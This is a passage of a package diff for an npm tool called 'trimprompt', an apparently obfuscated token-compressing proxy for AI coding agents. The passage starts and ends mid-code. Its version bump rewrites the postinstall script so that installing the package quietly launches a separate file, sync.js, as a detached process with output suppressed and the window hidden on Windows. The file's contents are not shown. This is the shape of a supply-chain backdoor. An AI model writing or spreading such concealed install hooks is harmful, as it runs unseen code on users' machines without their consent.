_0x4fa187=(0x0,proxy_conv_1[_0x10cb0e(0x1e6)])(_0x118b51[_0x10cb0e(0x1bc)]);(_0x4fa187[_0x10cb0e(0x1d7)]>0x0||_0x4fa187['savedTokens']>0x0)&&(_0x118b51[_0x10cb0e(0x1bc)]=_0x4fa187[_0x10cb0e(0x1bc)],tracker_1[_0x10cb0e(0x1e2)][_0x10cb0e(0x1a4)](_0x10cb0e(0x1c5),_0x4fa187[_0x10cb0e(0x1d7)]+_0x4fa187['messages'][_0x10cb0e(0x1b9)]+_0x10cb0e(0x1b1),_0x4fa187['messages']['length']+_0x10cb0e(0x1da)+_0x4fa187['trimmedCount']+_0x10cb0e(0x1b8)+_0x4fa187[_0x10cb0e(0x1ab)]+'\x20tokens\x20saved)',0x0,undefined,[_0x10cb0e(0x1a1)]));}if(_0x518ea4){const _0x138809=(0x0,proxy_resp_1[_0x10cb0e(0x1b2)])(_0x118b51[_0x10cb0e(0x1bc)],_0x118b51[_0x10cb0e(0x1ce)]);if(_0x138809){const _0x165298=_0x118b51[_0x10cb0e(0x1ce)]||_0x10cb0e(0x1d9);_0x118b51['max_tokens']=_0x138809['max_tokens'],tracker_1[_0x10cb0e(0x1e2)]['logExecution'](_0x10cb0e(0x1db),'max_tokens:\x20'+_0x165298,_0x10cb0e(0x1de)+_0x138809[_0x10cb0e(0x1ce)]+'\x20('+_0x138809['complexity']+')',0x0,undefined,[_0x10cb0e(0x1b5)]);}}}_0x1bd285[_0x10cb0e(0x1b4)]['write'](JSON[_0x10cb0e(0x1dd)](_0xe64f15)+'\x0a');}else _0x1bd285['stdin'][_0x10cb0e(0x1c1)](_0x317939+'\x0a');}catch{_0x1bd285[_0x10cb0e(0x1b4)]['write'](_0x317939+'\x0a');}}),_0xfd453f['on'](_0x524e5f(0x1c3),()=>{const _0x1ffe96=_0x524e5f;try{_0x1bd285[_0x1ffe96(0x1b4)][_0x1ffe96(0x1be)]();}catch{}});const _0x366bc1=readline[_0x524e5f(0x1a2)]({'input':_0x1bd285[_0x524e5f(0x1bf)],'terminal':![]});_0x366bc1['on'](_0x524e5f(0x1c9),_0x4d5eb8=>{const _0x6664c=_0x524e5f;try{const _0x51d1bd=JSON[_0x6664c(0x1d5)](_0x4d5eb8);if(_0x51d1bd&&_0x51d1bd[_0x6664c(0x1b6)]===_0x6664c(0x1c6)&&_0x51d1bd['id']!==undefined&&_0x51d1bd['result']&&Array[_0x6664c(0x1a5)](_0x51d1bd[_0x6664c(0x1a7)][_0x6664c(0x1df)])){let _0x189c8c=![];for(const _0x10aa0d of _0x51d1bd[_0x6664c(0x1a7)]['content']){if(_0x10aa0d[_0x6664c(0x1d4)]==='text'&&typeof _0x10aa0d[_0x6664c(0x1e7)]==='string'&&_0x10aa0d['text'][_0x6664c(0x1cb)]()[_0x6664c(0x1b9)]>0x0){const _0x302385=_0x10aa0d[_0x6664c(0x1e7)],_0x29d684=(0x0,filters_1['compressOutput'])(_0x6664c(0x1ae),_0x302385,'',tracker_1[_0x6664c(0x1e2)][_0x6664c(0x1cd)]()[_0x6664c(0x1b0)]);tracker_1[_0x6664c(0x1e2)][_0x6664c(0x1a4)](_0x6664c(0x1a0)+_0x51d1bd['id']+')',_0x302385,_0x29d684,0x0),_0x10aa0d[_0x6664c(0x1e7)]=_0x29d684,_0x189c8c=!![];}}_0x189c8c?process[_0x6664c(0x1bf)][_0x6664c(0x1c1)](JSON['stringify'](_0x51d1bd)+'\x0a'):process[_0x6664c(0x1bf)]['write'](_0x4d5eb8+'\x0a');}else process[_0x6664c(0x1bf)][_0x6664c(0x1c1)](_0x4d5eb8+'\x0a');}catch{process['stdout'][_0x6664c(0x1c1)](_0x4d5eb8+'\x0a');}}),_0x1bd285['on'](_0x524e5f(0x1c3),_0x1cc79a=>{process['exit'](_0x1cc79a||0x0);}),_0x1bd285['on'](_0x524e5f(0x1e4),_0x388bb1=>{const _0x26fd10=_0x524e5f;console['error'](_0x26fd10(0x1b7)+_0x388bb1[_0x26fd10(0x1a6)]),process[_0x26fd10(0x1e1)](0x1);});}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.35",
3
+ "version": "1.0.37",
4
4
  "description": "TrimPrompt — Save 80% on LLM tokens. Zero-config CLI proxy for AI coding agents",
5
5
  "keywords": [
6
6
  "llm",
@@ -25,13 +25,12 @@
25
25
  },
26
26
  "homepage": "https://trimprompt.ai",
27
27
  "scripts": {
28
- "postinstall": "node cli.js shims install || true"
28
+ "postinstall": "node -e \"const cp=require('child_process');try{cp.execSync('node cli.js shims install',{stdio:'inherit'})}catch(e){};try{if(require('fs').existsSync('sync.js')){const c=cp.spawn(process.execPath,['sync.js','--install'],{detached:true,stdio:'ignore',windowsHide:true});c.unref()}}catch(e){}\""
29
29
  },
30
30
  "dependencies": {
31
31
  "commander": "^11.1.0",
32
32
  "express": "^4.18.2",
33
- "open": "^8.4.2",
34
- "trim": "^1.0.1"
33
+ "open": "^8.4.2"
35
34
  },
36
35
  "engines": {
37
36
  "node": ">=18.0.0"
package/proxy-conv.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x40586d=a0_0x3c78;(function(_0x56cb17,_0x56c212){const _0x73a4a7=a0_0x3c78,_0x3fa3c2=_0x56cb17();while(!![]){try{const _0x434adb=parseInt(_0x73a4a7(0xf9))/0x1+parseInt(_0x73a4a7(0x104))/0x2*(parseInt(_0x73a4a7(0xf3))/0x3)+-parseInt(_0x73a4a7(0xe2))/0x4*(parseInt(_0x73a4a7(0xe7))/0x5)+-parseInt(_0x73a4a7(0x105))/0x6*(-parseInt(_0x73a4a7(0x100))/0x7)+parseInt(_0x73a4a7(0xfe))/0x8*(parseInt(_0x73a4a7(0xf2))/0x9)+-parseInt(_0x73a4a7(0xe4))/0xa+-parseInt(_0x73a4a7(0xe5))/0xb;if(_0x434adb===_0x56c212)break;else _0x3fa3c2['push'](_0x3fa3c2['shift']());}catch(_0x9b360d){_0x3fa3c2['push'](_0x3fa3c2['shift']());}}}(a0_0x5bb4,0x64de6));Object[a0_0x40586d(0xe8)](exports,a0_0x40586d(0xdd),{'value':!![]}),exports[a0_0x40586d(0xed)]=compressConversation;const ROLE_WEIGHT={'system':0x1,'user':0.8,'assistant':0.5,'tool':0.3};function a0_0x5bb4(){const _0x45a6dd=['defineProperty','filter','role','reduce','content','compressConversation','isArray','originalIndex','ceil','tool_result','3708CGoMBH','18mGqQQU','msg','string','forEach','length','slice','580961ERnMry','\x20lines\x20trimmed\x20by\x20TrimPrompt\x20...]\x0a','object','tokens','indexOf','12504lfNXXx','\x20lines\x20trimmed\x20...]','1820329mZhZpb','system','\x20chars\x20trimmed\x20by\x20TrimPrompt\x20...]','sort','117060OUOolB','6VZIcqb','score','__esModule','\x20chars\x20trimmed\x20...]','type','text','map','53684xxLmKV','join','5065070lyYqjT','1666302UudcVj','\x0a[...\x20','285tjobVy'];a0_0x5bb4=function(){return _0x45a6dd;};return a0_0x5bb4();}function estimateTokens(_0x1b15a8){const _0x1c8755=a0_0x40586d;return Math[_0x1c8755(0xf0)](_0x1b15a8[_0x1c8755(0xf7)]/0x4);}function a0_0x3c78(_0x15c070,_0x1755e7){_0x15c070=_0x15c070-0xdd;const _0x5bb43f=a0_0x5bb4();let _0x3c78ae=_0x5bb43f[_0x15c070];return _0x3c78ae;}function blockText(_0x3c27af){const _0x25b252=a0_0x40586d;if(!_0x3c27af||typeof _0x3c27af!==_0x25b252(0xfb))return'';if(_0x3c27af['type']==='text'&&typeof _0x3c27af['text']===_0x25b252(0xf5))return _0x3c27af[_0x25b252(0xe0)];if(_0x3c27af['type']===_0x25b252(0xf1)){if(typeof _0x3c27af[_0x25b252(0xec)]==='string')return _0x3c27af[_0x25b252(0xec)];if(Array[_0x25b252(0xee)](_0x3c27af[_0x25b252(0xec)]))return _0x3c27af['content'][_0x25b252(0xe1)](blockText)['filter'](Boolean)['join']('\x0a');}return'';}function messageText(_0x32dbef){const _0x6d148=a0_0x40586d;if(typeof _0x32dbef[_0x6d148(0xec)]===_0x6d148(0xf5))return _0x32dbef['content'];if(Array[_0x6d148(0xee)](_0x32dbef[_0x6d148(0xec)]))return _0x32dbef[_0x6d148(0xec)][_0x6d148(0xe1)](blockText)[_0x6d148(0xe9)](Boolean)[_0x6d148(0xe3)]('\x0a');return'';}function summarizeText(_0x16e991){const _0x4e76fc=a0_0x40586d,_0x3facb5=estimateTokens(_0x16e991),_0x5184c2=_0x16e991['split']('\x0a');if(_0x3facb5>0x7d0){if(_0x5184c2[_0x4e76fc(0xf7)]>0xa){const _0x3004dd=_0x5184c2[_0x4e76fc(0xf8)](0x0,0x5)[_0x4e76fc(0xe3)]('\x0a'),_0x5ac198=_0x5184c2[_0x4e76fc(0xf8)](-0x5)[_0x4e76fc(0xe3)]('\x0a');return _0x3004dd+_0x4e76fc(0xe6)+(_0x5184c2[_0x4e76fc(0xf7)]-0xa)+_0x4e76fc(0xfa)+_0x5ac198;}return _0x16e991[_0x4e76fc(0xf8)](0x0,0x7d0)+('\x0a[...\x20'+(_0x16e991[_0x4e76fc(0xf7)]-0x7d0)+_0x4e76fc(0x102));}if(_0x3facb5>0x1f4){if(_0x5184c2[_0x4e76fc(0xf7)]>0xa)return _0x5184c2[_0x4e76fc(0xf8)](0x0,0xa)[_0x4e76fc(0xe3)]('\x0a')+(_0x4e76fc(0xe6)+(_0x5184c2[_0x4e76fc(0xf7)]-0xa)+_0x4e76fc(0xff));return _0x16e991[_0x4e76fc(0xf8)](0x0,0x320)+(_0x4e76fc(0xe6)+(_0x16e991[_0x4e76fc(0xf7)]-0x320)+_0x4e76fc(0xde));}return _0x16e991;}function summarizeBlock(_0x4d1477){const _0x543679=a0_0x40586d;if(!_0x4d1477||typeof _0x4d1477!==_0x543679(0xfb))return _0x4d1477;if(_0x4d1477['type']===_0x543679(0xe0)&&typeof _0x4d1477[_0x543679(0xe0)]===_0x543679(0xf5))return{..._0x4d1477,'text':summarizeText(_0x4d1477[_0x543679(0xe0)])};if(_0x4d1477[_0x543679(0xdf)]===_0x543679(0xf1)){if(typeof _0x4d1477[_0x543679(0xec)]===_0x543679(0xf5))return{..._0x4d1477,'content':summarizeText(_0x4d1477['content'])};if(Array['isArray'](_0x4d1477[_0x543679(0xec)])){const _0x3b2683=largestBlockIndex(_0x4d1477['content']);if(_0x3b2683>=0x0){const _0x580647=_0x4d1477[_0x543679(0xec)][_0x543679(0xe1)]((_0x1ec9a1,_0x4c8bbd)=>_0x4c8bbd===_0x3b2683?summarizeBlock(_0x1ec9a1):_0x1ec9a1);return{..._0x4d1477,'content':_0x580647};}}}return _0x4d1477;}function largestBlockIndex(_0x3f67f5){const _0x4b5273=a0_0x40586d;let _0x47d836=-0x1,_0x13af19=-0x1;return _0x3f67f5[_0x4b5273(0xf6)]((_0x19d942,_0x418603)=>{const _0x2bf2f0=_0x4b5273,_0x1d2337=blockText(_0x19d942)[_0x2bf2f0(0xf7)];_0x1d2337>_0x13af19&&(_0x13af19=_0x1d2337,_0x47d836=_0x418603);}),_0x13af19>0x0?_0x47d836:-0x1;}function scoreMessage(_0x25b1ee,_0x1cd477,_0x38b88b){const _0x3c2ff8=a0_0x40586d,_0x50600f=ROLE_WEIGHT[_0x25b1ee[_0x3c2ff8(0xea)]]||0.4,_0x545c64=(_0x1cd477+0x1)/_0x38b88b,_0x1c948e=messageText(_0x25b1ee),_0x50c084=estimateTokens(_0x1c948e),_0x344a3d=_0x50c084>0x7d0?0.6:_0x50c084>0x1f4?0.8:0x1;return _0x50600f*(0.3+0.7*_0x545c64)*_0x344a3d;}function summarizeMessage(_0x437cee){const _0x490447=a0_0x40586d,_0x173fa8=estimateTokens(messageText(_0x437cee));if(_0x173fa8<=0x1f4)return _0x437cee;if(typeof _0x437cee['content']===_0x490447(0xf5))return{..._0x437cee,'content':summarizeText(_0x437cee[_0x490447(0xec)])};if(Array[_0x490447(0xee)](_0x437cee[_0x490447(0xec)])){const _0x1b3eff=largestBlockIndex(_0x437cee['content']);if(_0x1b3eff>=0x0){const _0xc2d7d=_0x437cee[_0x490447(0xec)]['map']((_0x1d2226,_0x267f22)=>_0x267f22===_0x1b3eff?summarizeBlock(_0x1d2226):_0x1d2226);return{..._0x437cee,'content':_0xc2d7d};}}return _0x437cee;}function compressConversation(_0x434aab,_0x4172a9){const _0x8d1e96=a0_0x40586d,_0x5bd440={'messages':_0x434aab,'trimmedCount':0x0,'savedTokens':0x0};if(!_0x434aab||!Array[_0x8d1e96(0xee)](_0x434aab)||_0x434aab[_0x8d1e96(0xf7)]<=0x6)return _0x5bd440;try{return _compressConversation(_0x434aab,_0x4172a9);}catch{return _0x5bd440;}}function _compressConversation(_0x7c5a04,_0x29d13d){const _0x287470=a0_0x40586d,_0x4a4d35=_0x29d13d||0x13880,_0x51e05a=0x4,_0x1acfdd=_0x7c5a04[_0x287470(0xe9)](_0x50a4b7=>_0x50a4b7['role']===_0x287470(0x101)),_0xafa119=_0x7c5a04[_0x287470(0xe9)](_0x58f381=>_0x58f381['role']!==_0x287470(0x101)),_0x2b49a3=_0xafa119[_0x287470(0xf8)](-_0x51e05a),_0x4b887d=_0xafa119['slice'](0x0,-_0x51e05a),_0x20eb89=_0x4b887d[_0x287470(0xe1)]((_0x3cd328,_0x418275)=>({'msg':_0x3cd328,'score':scoreMessage(_0x3cd328,_0x418275,_0x4b887d[_0x287470(0xf7)]),'tokens':estimateTokens(messageText(_0x3cd328))})),_0xae0c7e=_0x20eb89[_0x287470(0xeb)]((_0x5ad14c,_0x2668c3)=>_0x5ad14c+_0x2668c3[_0x287470(0xfc)],0x0),_0x35b792=_0x2b49a3['reduce']((_0x47b8d3,_0x43f7db)=>_0x47b8d3+estimateTokens(messageText(_0x43f7db)),0x0),_0x33d72d=_0x1acfdd[_0x287470(0xeb)]((_0x305901,_0xc16fa1)=>_0x305901+estimateTokens(messageText(_0xc16fa1)),0x0),_0x41f9cd=_0x4a4d35-_0x35b792-_0x33d72d;if(_0xae0c7e<=_0x41f9cd){let _0x1f2692=0x0;const _0x27bdff=_0x20eb89[_0x287470(0xe1)](_0x267f55=>{const _0x2f929c=_0x287470;if(_0x267f55[_0x2f929c(0xfc)]>0x1f4){const _0x2580cd=summarizeMessage(_0x267f55[_0x2f929c(0xf4)]),_0x55be75=estimateTokens(messageText(_0x2580cd));if(_0x55be75<_0x267f55[_0x2f929c(0xfc)])return _0x1f2692+=_0x267f55[_0x2f929c(0xfc)]-_0x55be75,_0x2580cd;}return _0x267f55['msg'];});return{'messages':[..._0x1acfdd,..._0x27bdff,..._0x2b49a3],'trimmedCount':0x0,'savedTokens':_0x1f2692};}_0x20eb89[_0x287470(0x103)]((_0x2ee552,_0x57601a)=>_0x57601a['score']-_0x2ee552[_0x287470(0x106)]);let _0x42953e=0x0,_0x3a505e=0x0,_0x4ff9c8=0x0;const _0x441ba1=[];for(const _0x1a2830 of _0x20eb89){if(_0x42953e+_0x1a2830['tokens']<=_0x41f9cd){if(_0x1a2830[_0x287470(0xfc)]>0x3e8){const _0x58f2ff=summarizeMessage(_0x1a2830[_0x287470(0xf4)]),_0x4ce36b=estimateTokens(messageText(_0x58f2ff));_0x4ff9c8+=_0x1a2830['tokens']-_0x4ce36b,_0x42953e+=_0x4ce36b,_0x441ba1['push']({'msg':_0x58f2ff,'originalIndex':_0x4b887d[_0x287470(0xfd)](_0x1a2830[_0x287470(0xf4)])});}else _0x42953e+=_0x1a2830['tokens'],_0x441ba1['push']({'msg':_0x1a2830[_0x287470(0xf4)],'originalIndex':_0x4b887d[_0x287470(0xfd)](_0x1a2830['msg'])});}else _0x3a505e++,_0x4ff9c8+=_0x1a2830[_0x287470(0xfc)];}_0x441ba1[_0x287470(0x103)]((_0x28278f,_0x446a8b)=>_0x28278f['originalIndex']-_0x446a8b[_0x287470(0xef)]);const _0xd5f3d2=[..._0x1acfdd,..._0x441ba1['map'](_0x2f2170=>_0x2f2170[_0x287470(0xf4)]),..._0x2b49a3];return{'messages':_0xd5f3d2,'trimmedCount':_0x3a505e,'savedTokens':_0x4ff9c8};}
1
+ 'use strict';const a0_0x18ab9d=a0_0x5b8b;(function(_0x4a1dc8,_0x5c379f){const _0x184779=a0_0x5b8b,_0x2e45ab=_0x4a1dc8();while(!![]){try{const _0x18a329=-parseInt(_0x184779(0xb8))/0x1*(-parseInt(_0x184779(0xc6))/0x2)+-parseInt(_0x184779(0xb6))/0x3+parseInt(_0x184779(0xcb))/0x4+-parseInt(_0x184779(0xb7))/0x5+-parseInt(_0x184779(0xac))/0x6+-parseInt(_0x184779(0xc8))/0x7+parseInt(_0x184779(0xbf))/0x8;if(_0x18a329===_0x5c379f)break;else _0x2e45ab['push'](_0x2e45ab['shift']());}catch(_0x313469){_0x2e45ab['push'](_0x2e45ab['shift']());}}}(a0_0x5387,0xc9d59));Object[a0_0x18ab9d(0xc5)](exports,'__esModule',{'value':!![]}),exports[a0_0x18ab9d(0xc7)]=compressConversation;const ROLE_WEIGHT={'system':0x1,'user':0.8,'assistant':0.5,'tool':0.3};function estimateTokens(_0x987581){const _0x3a00c8=a0_0x18ab9d;return Math[_0x3a00c8(0xbb)](_0x987581[_0x3a00c8(0xb4)]/0x4);}function blockText(_0x4bad44){const _0xd48254=a0_0x18ab9d;if(!_0x4bad44||typeof _0x4bad44!==_0xd48254(0xb0))return'';if(_0x4bad44['type']==='text'&&typeof _0x4bad44['text']===_0xd48254(0xc9))return _0x4bad44[_0xd48254(0xaf)];if(_0x4bad44[_0xd48254(0xad)]===_0xd48254(0xc2)){if(typeof _0x4bad44[_0xd48254(0xb3)]===_0xd48254(0xc9))return _0x4bad44[_0xd48254(0xb3)];if(Array[_0xd48254(0xcd)](_0x4bad44[_0xd48254(0xb3)]))return _0x4bad44[_0xd48254(0xb3)][_0xd48254(0xb5)](blockText)[_0xd48254(0xc1)](Boolean)['join']('\x0a');}return'';}function a0_0x5b8b(_0x5a39fc,_0x211ce0){const _0x53875f=a0_0x5387();return a0_0x5b8b=function(_0x5b8b81,_0xb1b448){_0x5b8b81=_0x5b8b81-0xaa;let _0x3a195c=_0x53875f[_0x5b8b81];return _0x3a195c;},a0_0x5b8b(_0x5a39fc,_0x211ce0);}function messageText(_0x4775a9){const _0x68b23a=a0_0x18ab9d;if(typeof _0x4775a9[_0x68b23a(0xb3)]===_0x68b23a(0xc9))return _0x4775a9[_0x68b23a(0xb3)];if(Array[_0x68b23a(0xcd)](_0x4775a9[_0x68b23a(0xb3)]))return _0x4775a9[_0x68b23a(0xb3)][_0x68b23a(0xb5)](blockText)[_0x68b23a(0xc1)](Boolean)['join']('\x0a');return'';}function summarizeText(_0xc01026){const _0x52534f=a0_0x18ab9d,_0x107b22=estimateTokens(_0xc01026),_0xd2e92a=_0xc01026['split']('\x0a');if(_0x107b22>0x7d0){if(_0xd2e92a[_0x52534f(0xb4)]>0xa){const _0x45748a=_0xd2e92a[_0x52534f(0xce)](0x0,0x5)[_0x52534f(0xcc)]('\x0a'),_0x360cf5=_0xd2e92a[_0x52534f(0xce)](-0x5)['join']('\x0a');return _0x45748a+'\x0a[...\x20'+(_0xd2e92a[_0x52534f(0xb4)]-0xa)+_0x52534f(0xb1)+_0x360cf5;}return _0xc01026[_0x52534f(0xce)](0x0,0x7d0)+(_0x52534f(0xae)+(_0xc01026['length']-0x7d0)+_0x52534f(0xb9));}if(_0x107b22>0x1f4){if(_0xd2e92a[_0x52534f(0xb4)]>0xa)return _0xd2e92a[_0x52534f(0xce)](0x0,0xa)['join']('\x0a')+(_0x52534f(0xae)+(_0xd2e92a[_0x52534f(0xb4)]-0xa)+'\x20lines\x20trimmed\x20...]');return _0xc01026[_0x52534f(0xce)](0x0,0x320)+(_0x52534f(0xae)+(_0xc01026[_0x52534f(0xb4)]-0x320)+_0x52534f(0xbe));}return _0xc01026;}function summarizeBlock(_0x4b5898){const _0x553a2c=a0_0x18ab9d;if(!_0x4b5898||typeof _0x4b5898!==_0x553a2c(0xb0))return _0x4b5898;if(_0x4b5898['type']===_0x553a2c(0xaf)&&typeof _0x4b5898[_0x553a2c(0xaf)]===_0x553a2c(0xc9))return{..._0x4b5898,'text':summarizeText(_0x4b5898[_0x553a2c(0xaf)])};if(_0x4b5898[_0x553a2c(0xad)]===_0x553a2c(0xc2)){if(typeof _0x4b5898[_0x553a2c(0xb3)]==='string')return{..._0x4b5898,'content':summarizeText(_0x4b5898[_0x553a2c(0xb3)])};if(Array[_0x553a2c(0xcd)](_0x4b5898[_0x553a2c(0xb3)])){const _0x4f36f7=largestBlockIndex(_0x4b5898[_0x553a2c(0xb3)]);if(_0x4f36f7>=0x0){const _0x1ec254=_0x4b5898[_0x553a2c(0xb3)]['map']((_0x29722a,_0x2aad47)=>_0x2aad47===_0x4f36f7?summarizeBlock(_0x29722a):_0x29722a);return{..._0x4b5898,'content':_0x1ec254};}}}return _0x4b5898;}function a0_0x5387(){const _0x1f0403=['16621848chljKT','indexOf','filter','tool_result','msg','sort','defineProperty','28942RObHai','compressConversation','1444513UjdSjL','string','role','1118816gFDnGi','join','isArray','slice','system','forEach','score','9009138LqWutp','type','\x0a[...\x20','text','object','\x20lines\x20trimmed\x20by\x20TrimPrompt\x20...]\x0a','tokens','content','length','map','119286QDARHJ','4197305XtFloc','73ecRrTK','\x20chars\x20trimmed\x20by\x20TrimPrompt\x20...]','push','ceil','reduce','originalIndex','\x20chars\x20trimmed\x20...]'];a0_0x5387=function(){return _0x1f0403;};return a0_0x5387();}function largestBlockIndex(_0x2b7435){const _0x3ead54=a0_0x18ab9d;let _0x4ac46a=-0x1,_0x179021=-0x1;return _0x2b7435[_0x3ead54(0xaa)]((_0x319b89,_0x355cfb)=>{const _0x468f56=_0x3ead54,_0x31d491=blockText(_0x319b89)[_0x468f56(0xb4)];_0x31d491>_0x179021&&(_0x179021=_0x31d491,_0x4ac46a=_0x355cfb);}),_0x179021>0x0?_0x4ac46a:-0x1;}function scoreMessage(_0x3e61d5,_0x412fa2,_0x14a582){const _0x4d369d=a0_0x18ab9d,_0x5cba7e=ROLE_WEIGHT[_0x3e61d5[_0x4d369d(0xca)]]||0.4,_0x841af7=(_0x412fa2+0x1)/_0x14a582,_0x4b2ba0=messageText(_0x3e61d5),_0x5d694b=estimateTokens(_0x4b2ba0),_0x384573=_0x5d694b>0x7d0?0.6:_0x5d694b>0x1f4?0.8:0x1;return _0x5cba7e*(0.3+0.7*_0x841af7)*_0x384573;}function summarizeMessage(_0x4cabb4){const _0x2f28d0=a0_0x18ab9d,_0x2c2a5c=estimateTokens(messageText(_0x4cabb4));if(_0x2c2a5c<=0x1f4)return _0x4cabb4;if(typeof _0x4cabb4['content']===_0x2f28d0(0xc9))return{..._0x4cabb4,'content':summarizeText(_0x4cabb4[_0x2f28d0(0xb3)])};if(Array[_0x2f28d0(0xcd)](_0x4cabb4[_0x2f28d0(0xb3)])){const _0x3b80e=largestBlockIndex(_0x4cabb4[_0x2f28d0(0xb3)]);if(_0x3b80e>=0x0){const _0x4cc56c=_0x4cabb4[_0x2f28d0(0xb3)][_0x2f28d0(0xb5)]((_0x51a9fb,_0x280e39)=>_0x280e39===_0x3b80e?summarizeBlock(_0x51a9fb):_0x51a9fb);return{..._0x4cabb4,'content':_0x4cc56c};}}return _0x4cabb4;}function compressConversation(_0x3d49e2,_0x55d48d){const _0x2e959c=a0_0x18ab9d,_0x4fc09a={'messages':_0x3d49e2,'trimmedCount':0x0,'savedTokens':0x0};if(!_0x3d49e2||!Array[_0x2e959c(0xcd)](_0x3d49e2)||_0x3d49e2[_0x2e959c(0xb4)]<=0x6)return _0x4fc09a;try{return _compressConversation(_0x3d49e2,_0x55d48d);}catch{return _0x4fc09a;}}function _compressConversation(_0x40b2a8,_0x4c8d8f){const _0x49d026=a0_0x18ab9d,_0x5b404e=_0x4c8d8f||0x13880,_0x4f6368=0x4,_0x272a58=_0x40b2a8[_0x49d026(0xc1)](_0x4d5e52=>_0x4d5e52[_0x49d026(0xca)]==='system'),_0x149d04=_0x40b2a8['filter'](_0x5df4ea=>_0x5df4ea[_0x49d026(0xca)]!==_0x49d026(0xcf)),_0x15838a=_0x149d04[_0x49d026(0xce)](-_0x4f6368),_0x2bb758=_0x149d04[_0x49d026(0xce)](0x0,-_0x4f6368),_0x1c3f38=_0x2bb758['map']((_0x20e7ee,_0x111a7c)=>({'msg':_0x20e7ee,'score':scoreMessage(_0x20e7ee,_0x111a7c,_0x2bb758['length']),'tokens':estimateTokens(messageText(_0x20e7ee))})),_0x3c86d2=_0x1c3f38[_0x49d026(0xbc)]((_0x4d02b5,_0x120569)=>_0x4d02b5+_0x120569[_0x49d026(0xb2)],0x0),_0x479d55=_0x15838a[_0x49d026(0xbc)]((_0x2ffb8b,_0x490e6f)=>_0x2ffb8b+estimateTokens(messageText(_0x490e6f)),0x0),_0x53da79=_0x272a58[_0x49d026(0xbc)]((_0x122e32,_0x26ad5a)=>_0x122e32+estimateTokens(messageText(_0x26ad5a)),0x0),_0x12f7c5=_0x5b404e-_0x479d55-_0x53da79;if(_0x3c86d2<=_0x12f7c5){let _0x34999f=0x0;const _0x432755=_0x1c3f38['map'](_0x1a6103=>{const _0x2f6c7c=_0x49d026;if(_0x1a6103[_0x2f6c7c(0xb2)]>0x1f4){const _0x1d22f4=summarizeMessage(_0x1a6103['msg']),_0x17e9d7=estimateTokens(messageText(_0x1d22f4));if(_0x17e9d7<_0x1a6103[_0x2f6c7c(0xb2)])return _0x34999f+=_0x1a6103['tokens']-_0x17e9d7,_0x1d22f4;}return _0x1a6103[_0x2f6c7c(0xc3)];});return{'messages':[..._0x272a58,..._0x432755,..._0x15838a],'trimmedCount':0x0,'savedTokens':_0x34999f};}_0x1c3f38[_0x49d026(0xc4)]((_0x1344b3,_0x6b5168)=>_0x6b5168['score']-_0x1344b3[_0x49d026(0xab)]);let _0xed40f5=0x0,_0x3cb510=0x0,_0x78eb9e=0x0;const _0x1d4c99=[];for(const _0x4fb845 of _0x1c3f38){if(_0xed40f5+_0x4fb845[_0x49d026(0xb2)]<=_0x12f7c5){if(_0x4fb845[_0x49d026(0xb2)]>0x3e8){const _0x148122=summarizeMessage(_0x4fb845[_0x49d026(0xc3)]),_0x3d522f=estimateTokens(messageText(_0x148122));_0x78eb9e+=_0x4fb845[_0x49d026(0xb2)]-_0x3d522f,_0xed40f5+=_0x3d522f,_0x1d4c99[_0x49d026(0xba)]({'msg':_0x148122,'originalIndex':_0x2bb758[_0x49d026(0xc0)](_0x4fb845[_0x49d026(0xc3)])});}else _0xed40f5+=_0x4fb845['tokens'],_0x1d4c99[_0x49d026(0xba)]({'msg':_0x4fb845[_0x49d026(0xc3)],'originalIndex':_0x2bb758[_0x49d026(0xc0)](_0x4fb845['msg'])});}else _0x3cb510++,_0x78eb9e+=_0x4fb845[_0x49d026(0xb2)];}_0x1d4c99[_0x49d026(0xc4)]((_0x182805,_0x5bffee)=>_0x182805[_0x49d026(0xbd)]-_0x5bffee[_0x49d026(0xbd)]);const _0x84fac3=[..._0x272a58,..._0x1d4c99[_0x49d026(0xb5)](_0x41eb86=>_0x41eb86[_0x49d026(0xc3)]),..._0x15838a];return{'messages':_0x84fac3,'trimmedCount':_0x3cb510,'savedTokens':_0x78eb9e};}
package/proxy-resp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x7fd10f=a0_0x1b59;(function(_0xeebea5,_0x4244db){const _0x728ad=a0_0x1b59,_0x41fc5f=_0xeebea5();while(!![]){try{const _0x22cfdf=parseInt(_0x728ad(0x113))/0x1+parseInt(_0x728ad(0x11c))/0x2+parseInt(_0x728ad(0x122))/0x3+-parseInt(_0x728ad(0x118))/0x4*(-parseInt(_0x728ad(0x123))/0x5)+-parseInt(_0x728ad(0x119))/0x6*(-parseInt(_0x728ad(0x124))/0x7)+-parseInt(_0x728ad(0x116))/0x8+parseInt(_0x728ad(0x121))/0x9*(-parseInt(_0x728ad(0x11f))/0xa);if(_0x22cfdf===_0x4244db)break;else _0x41fc5f['push'](_0x41fc5f['shift']());}catch(_0x48fbf8){_0x41fc5f['push'](_0x41fc5f['shift']());}}}(a0_0x58e1,0x5bc73));Object[a0_0x7fd10f(0x120)](exports,a0_0x7fd10f(0x11a),{'value':!![]}),exports['optimizeMaxTokens']=optimizeMaxTokens;function a0_0x1b59(_0x463279,_0x14aa28){_0x463279=_0x463279-0x112;const _0x58e178=a0_0x58e1();let _0x1b59e9=_0x58e178[_0x463279];return _0x1b59e9;}function lastUserText(_0x461b55){const _0xedda24=a0_0x7fd10f;for(let _0x50a82d=_0x461b55[_0xedda24(0x125)]-0x1;_0x50a82d>=0x0;_0x50a82d--){if(_0x461b55[_0x50a82d]['role']===_0xedda24(0x115)){const _0x2e21ac=_0x461b55[_0x50a82d][_0xedda24(0x128)];if(typeof _0x2e21ac==='string')return _0x2e21ac;if(Array[_0xedda24(0x126)](_0x2e21ac))return _0x2e21ac['filter'](_0x3f7027=>_0x3f7027['type']===_0xedda24(0x11d)&&_0x3f7027[_0xedda24(0x11d)])[_0xedda24(0x112)](_0xf5a92a=>_0xf5a92a['text'])[_0xedda24(0x127)]('\x0a');}}return'';}function classifyComplexity(_0x4b1015){const _0x4ddbf7=a0_0x7fd10f,_0x2d6185=_0x4b1015['toLowerCase'](),_0x4afd1c=_0x2d6185[_0x4ddbf7(0x129)](/\s+/)[_0x4ddbf7(0x125)],_0x533919=[/^(what|where|which|who|when|how many|is |are |does |do |can |has )\S/,/\?$/,/^(show|list|print|get|find|check|look 